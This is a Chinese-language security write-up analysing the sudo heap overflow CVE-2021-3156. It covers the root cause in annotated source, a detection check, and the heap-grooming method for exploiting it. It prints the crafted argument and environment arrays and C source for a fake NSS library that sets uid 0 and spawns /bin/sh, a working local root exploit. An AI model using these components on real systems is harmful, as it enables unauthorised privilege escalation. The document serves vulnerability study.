【kernel exploit】CVE-2021-3156 sudo漏洞分析与利用

影响版本

  • 1.9.0 <= Sudo <= 1.9.5 p1 所有稳定版(默认配置)

  • 1.8.2 <= Sudo <= 1.8.31 p2 所有老版本

  • 最新的系统,如Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), Fedora 33 (Sudo 1.9.2) 都受到影响。

编译选项

# 编译(如果默认版本有漏洞,则不需要编译)
$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
$ tar xf sudo-SUDO_1_9_5p1.tar.gz 
$ cd sudo-SUDO_1_9_5p1/
$ mkdir build
$ cd build/
$ ../configure --enable-env-debug
$ make -j
$ sudo make install
# 调试 (需以root运行gdb,漏洞代码是动态加载的,直接下断点下不到,crash之后再下)
$ gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
$ b ../../../plugins/sudoers/sudoers.c:964
$ b ../../../plugins/sudoers/sudoers.c:978

漏洞描述:CVE-2021-3156(该漏洞被命名为“Baron Samedit”)——sudo在处理单个反斜杠结尾的命令时,发生逻辑错误,导致堆溢出。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。漏洞引入时间为2011年7月(commit 8255ed69),漏洞存在时间达10年。

补丁:目前官方已在sudo新版本1.9.5 p2中修复了该漏洞,官方下载链接:https://www.sudo.ws/download.html

测试版本:Ubuntu 19.04 exploit

利用过程

  • 1.首先利用传递的LC_MESSAGE(或者LC_ALL)环境变量申请并释放一块cache;
  • 2.分配service_user结构;
  • 3.控制输入参数的长度,使得user_args占据LC_MESSAGE释放后的空闲chunk;
  • 4.user_args溢出并覆盖第1个service_user结构,覆盖service_user->name为伪造库名;
  • 5.利用libc中的nss_load_library()函数来加载伪造库,执行伪造库中的_init函数(提权)。

1.sudo简介

sudo是可以允许管理员让普通用户执行root命令的1个工具,相当于su或者halt的命令,这样可以减少root登陆时间和管理,也可以提高linux系统的安全性。

2.漏洞检测

检测是否含有此漏洞:

  • 在非root权限下,运行命令$ sudoedit -s /
  • 若出现以sudoedit:开头的错误响应,则系统受到此漏洞影响;
  • 若出现以usage:开头的错误响应,则表示该漏洞已被补丁修复。

3.代码分析

命令行模式下运行sudo,加上-s选项会设置MODE_SHELL flag;加上-i选项会设置MODE_SHELL flag 和 MODE_LOGIN_SHELL flag。首先看sudo的main() 函数开头调用了parse_args()parse_args() 会连接所有命令行参数(587-595行)并给元字符加反斜杠(590-591行)来重写 argv(609-617行)。

// parse_args()
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
572         char **av, *cmnd = NULL; 
573         int ac = 1; 
... 
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2); 
... 
587             for (av = argv; *av != NULL; av++) { 
588                 for (src = *av; *src != '\0'; src++) { 
589                     /* quote potential meta characters */ 
590                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') 
591                         *dst++ = '\\'; 
592                     *dst++ = *src; 
593                 } 
594                 *dst++ = ' '; 
595             } 
... 
600             ac += 2; /* -c cmnd */ 
... 
603         av = reallocarray(NULL, ac + 1, sizeof(char *)); 
... 
609         av[0] = (char *)user_details.shell; /* plugin may override shell */ 
610         if (cmnd != NULL) { 
611             av[1] = "-c"; 
612             av[2] = cmnd; 
613         } 
614         av[ac] = NULL; 
615  
616         argv = av; 
617         argc = ac; 
618     } 

之后,在sudoers_policy_main()函数中,set_cmnd()连接命令行参数并存入堆缓冲区 user_args(864-871行),跳过元字符(866-867行),目的是匹配sudoer和记录日志。

// set_cmnd()
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
852             for (size = 0, av = NewArgv + 1; *av; av++) 
853                 size += strlen(*av) + 1; 
854             if (size == 0 || (user_args = malloc(size)) == NULL) { 
... 
857             } 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
... 
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {  // 把命令行参数放入from里面
865                     while (*from) { 
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1])) 
867                             from++; 
868                         *to++ = *from++;  // 将输入的命令行参数拷贝到堆空间 user_args
869                     } 
870                     *to++ = ' '; 
871                 } 
... 
884             } 
... 
886     }

但如果命令行参数以1个反斜杠结尾:

  • 866行,from[0] 是反斜杠,from[1]是null结束符(非空格);
  • 867行,from加1,指向null结束符;
  • 868行,null结束符被拷贝到user_args 堆缓冲区,from又加1,from指向了null结束符后面第1个字符(超出参数的边界);
  • 865-869行,while loop 继续将越界的字符拷贝到user_args 堆缓冲区。

所以,set_cmnd()存在越界写,溢出user_args 堆缓冲区(size是在852-853行中计算)。根本原因就是,sudo默认\后面肯定跟着元字符,实际上\后面只有1个结束符。

4.漏洞分析

正常情况下,命令行参数不会以1个反斜杠结尾,流程分析如下:如果设置了MODE_SHELLMODE_LOGIN_SHELL(858行,到达漏洞代码的必要条件),且由于设置了MODE_SHELL(571行,parse_args()换码了元字符,包括反斜杠,末尾的1个反斜杠前又加了1个反斜杠,变成了2个反斜杠,就不存在1个反斜杠结尾的情况了)。

但是,换码代码parse_args()和漏洞代码set_cmnd()的条件不相同。

// parse_args() 换码代码
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
// set_cmnd() 漏洞代码
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

猜想:能否设置 MODE_SHELLMODE_EDIT/MODE_CHECK ,但不设置 MODE_RUN,这样跳过换码代码parse_args()(避免1个反斜杠变成2个反斜杠),直接执行漏洞代码 set_cmnd()

答案:不行。只要设置了MODE_EDIT(-e, 361行)/MODE_CHECK(-l, 423+519行),parse_args()就会从valid_flags移除MODE_SHELL(363+424行),如果此时还设置了MODE_SHELL就会报错(532-533行)。

358                 case 'e': 
... 
361                     mode = MODE_EDIT; 
362                     sudo_settings[ARG_SUDOEDIT].value = "true"; 
363                     valid_flags = MODE_NONINTERACTIVE; 
364                     break; 
... 
416                 case 'l': 
... 
423                     mode = MODE_LIST; 
424                     valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 
425                     break; 
... 
518     if (argc > 0 && mode == MODE_LIST) 
519         mode = MODE_CHECK; 
... 
532     if ((flags & valid_flags) != flags) 
533         usage(1); 

漏洞:如果执行sudoedit命令(而非sudo),则parse_args()会自动设置MODE_EDIT(270行)且不会重置valid_flags,这样MODE_SHELL就还在valid_flags中(127+249行),不会报错。

127 #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
249     int valid_flags = DEFAULT_VALID_FLAGS; 
... 
267     proglen = strlen(progname); 
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 
269         progname = "sudoedit"; 
270         mode = MODE_EDIT; 
271         sudo_settings[ARG_SUDOEDIT].value = "true"; 
272     } 

结果:只要执行sudoedit -s \,就能同时设置MODE_EDITMODE_SHELL,但不设置MODE_RUN。跳过parse_args()中的换码代码,直接执行漏洞代码set_cmnd(),溢出user_args堆缓冲区。

$ sudoedit -s '\' `perl -e 'print "A" x 65536'` 
malloc(): corrupted top size
Aborted (core dumped)

从攻击者角度来看,该缓冲区溢出可利用的原因如下:

    1. user_args堆缓冲区的size可控(852-854行,size就是命令行参数合并后的长度);
    1. 能分别控制size和溢出的内容(第一段命令行参数后紧跟第二段命令行参数,第二段命令行参数不包含在size中);
    1. 可以写null字节到user_args(每个以单反斜杠结尾的命令行参数或环境变量,都能往user_args写1个null字节,见866-868行)。

例如,amd64 Linux中,以下命令会分配24字节的user_args缓冲区(实际分配32字节),并将下一个堆块的size覆盖为A=a\0B=b\0”(0x00623d4200613d41),fd覆盖为C=c\0D=d\0( 0x00643d4400633d43),bk覆盖为E=e\0F=f\0 (0x00663d4600653d45)。

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\' 
--------------------------------------------------------------------- 

--|--------+--------+--------+--------|--------+--------+--------+--------+-- 
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| 
--|--------+--------+--------+--------|--------+--------+--------+--------+-- 

              size  <---- user_args buffer ---->  size      fd       bk 

写连续的多个null:其实环境变量并不一定得是env_name=XXX这种形式,环境变量可以是字符串数组。C代码中用execve执行shell命令,环境变量设置2个连续的\即可插入2个连续的null字节。

char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL };
execve("/usr/bin/sudoedit", argv, env);

5.漏洞利用

(1)目标与挑战

目标:溢出后覆盖service_user结构。该结构出现在libc的nss_load_library()函数中,用于加载动态链接库。如果能覆盖service_user->name,就能指定加载我们伪造的库,利用root权限运行非root权限的库。

// 1. service_user 结构
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,   // (1)设置 ni->library
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,   // (2)伪造的库文件名必须是 libnss_xxx.so
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加载目标库
      //continue long long function

挑战1:可以看到nss_load_library()函数中,满足条件ni->library != nullni->library->lib_handle == NULL才能加载新库。

解决:如果ni->library == null,恰好代码(1)处ni->library = nss_new_service(....可以设置 ni->library,所以只要把ni->library 覆盖为null即可。找到离user_args地址最近的第1个service_user结构

挑战2:如何覆盖链表指针struct service_user * next,加载新库时会根据该指针进行链表遍历。如果利用时意外覆盖了第2个service_user结构,由于无法泄露地址,next指针填充错误就会导致段错误。

解决:只覆盖第1个service_user结构,将next指针覆盖为null即可。这意味着我们必须找到user_args之后的链表中的第1个service_user结构在哪里。这是最大的挑战,需要精准控制堆分配。

(2)定位service_user结构地址

利用name systemdmymachine来定位service_user结构。先在user_args分配点下断以查看链表,然后搜索systemd并遍历list,直到找到第1个靠近分配点的service_user(结合A溢出的多次测试,了解其崩溃的结构)。

以下展示了内存中和对应到vmmaps中不同的service_user name。图中可见,第2个对应systemd的vmmap,其偏移距离堆基址0x47e0。另一个偏移为0x4790的service_user和它相距0x50,这两个结构连在一起,所以目标就是覆盖0x4790处的service_user结构。为什么不覆盖0x2000偏移处的service_user结构呢?因为你不能过早的把user_args分配到那么靠前的堆区域。

1-1-structs.png

(3)堆排布

问题:所以如何将user_args分配到service_user结构前面呢?(尽早分配user_args

解决:能否找到一个在service_user结构之前被申请并被释放的空闲块呢?这样分配user_args堆块时就能用到这个空闲块了。

// /src/sudo.c
150:    int main(int argc, char *argv[], char *envp[])
151:    {
        ...
171:    setlocale(LC_ALL, "");
        ...
216:    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv, &settings, &env_add);
        ...

main()中较早调用了setlocale()介绍)函数,setlocale()函数中第154行,可以分配并释放几个LC环境变量(LC_CTYPE,LC_MESSAGES,LC_TIME等),这样就在Sudo的堆开头处留下了空闲的fast/tcache chunks。我们通过在``setlocale()中下断点,来检查setlocale()`会释放哪些大小的块。发现如下两个有趣的空闲块:

1-2-free1.png
1-3-free2.png

其中,第二个chunk会在setlocale()函数外被再次分配和释放,显得不太可靠。除此之外,找不到其他的LC变量会释放空闲块了。

heap bin的知识:这里再简单介绍下heap bin的知识,空闲块是用多个链表存储的,这些链表按块大小排序。有如下5种链表(bin就是链表)。

  • tcache——大小为0x20-0x408,实现超快速分配;
  • fast bins——大小为0x20-0x80,也是超快速分配;
  • small bins——比tcachefast bins要大;
  • large bins——大型的chunk;
  • unsorted bin——未分类的chunk。

现在我们只关注tcachefast bins,因为其他类型的chunk可能会被合并,很难预测chunk的状态。chunk大小以0x10递增。

我们可以使用LC_MESSAGE环境变量,在setlocale()函数中释放该空闲块,这样之后触发漏洞时就能把user_args分配到该空闲块的位置上。这样就把溢出块放在了heap上很靠前的位置。

但是要确保在分配user_args时,用到的正是LC_MESSAGE变量释放的块(因为在setlocale()之后,分配user_args之前可能还分配了其他chunk)。幸运的是最后得到了这个chunk:

1-5-alloc.png

上面是user_args这个chunk,下面是目标字符串mymachine,相差只有0x4790 - 0x4370 == 0x420字节。

现在,只需填充null直到覆盖第1个service_user结构,将service_user->ni-library覆盖为null,且将name覆盖为伪造库的库名。

1-6-structure.png

首先设置如下参数,使得分配的user_args堆块大小和LC_MESSAGE环境变量释放的堆块大小一样。

        char *args[] = {
            "/usr/bin/sudoedit",
            "-s",
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\\",
            NULL
        }; //B and A's to match the chunk size we want freed in the beginning

然后,创建很长的环境变量,结尾放置伪造的service_user结构:

        char *extra_args[] = {
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\x01\\",
            "\\",
            "\\",
            "\x01\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "X/X\\",
            "a",
            "LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
            NULL,
        };

接着nss_load_library()函数中的_stpcpy()会根据X/X\\参数,来创建路径libnss_X/X.so.2

      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

最后,只需伪造一个名为libnss_X/X.so.2的库,其中init函数负责设置id并执行/bin/sh即可。编译选项为gcc -Os -Wall -Wextra -fPIC -shared nss.c -o X.so.2

#include <stdlib.h>
#include <stddef.h>
#include <unistd.h>

static int __attribute__((constructor)) ___init(void)
{
  char *argv[2] = {"sh", NULL};

  setuid(0);
  setgid(0);
  seteuid(0);
  setegid(0);
  return execve("/bin/sh", argv, NULL);
}

成功加载伪造库:

1-7-final.png

弹出shell:

1-8-shell.png

结论:最终的利用是100%可靠的,使用Ubuntu 20.10,libc版本 2.32并开启ASLR。

6.测试exp

第5节分析的原文作者没有公开exp,我测的exploit来自https://github.com/blasty/CVE-2021-3156,在ubuntu 19.04(sudo版本为1.8.27)下也能成功提权。这两个exp的区别是利用的环境变量名不一样,第5节利用的是LC_MESSAGE环境变量来创建空闲块,blasty的exp利用的是LC_ALL环境变量,所以覆盖的偏移不同。

exploit.png

参考

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

cve-2021-3156-sudo堆溢出简单分析——含调试过程

https://github.com/blasty/CVE-2021-3156

https://github.com/stong/CVE-2021-3156

Sudo Exploit Writeup

推荐阅读更多精彩内容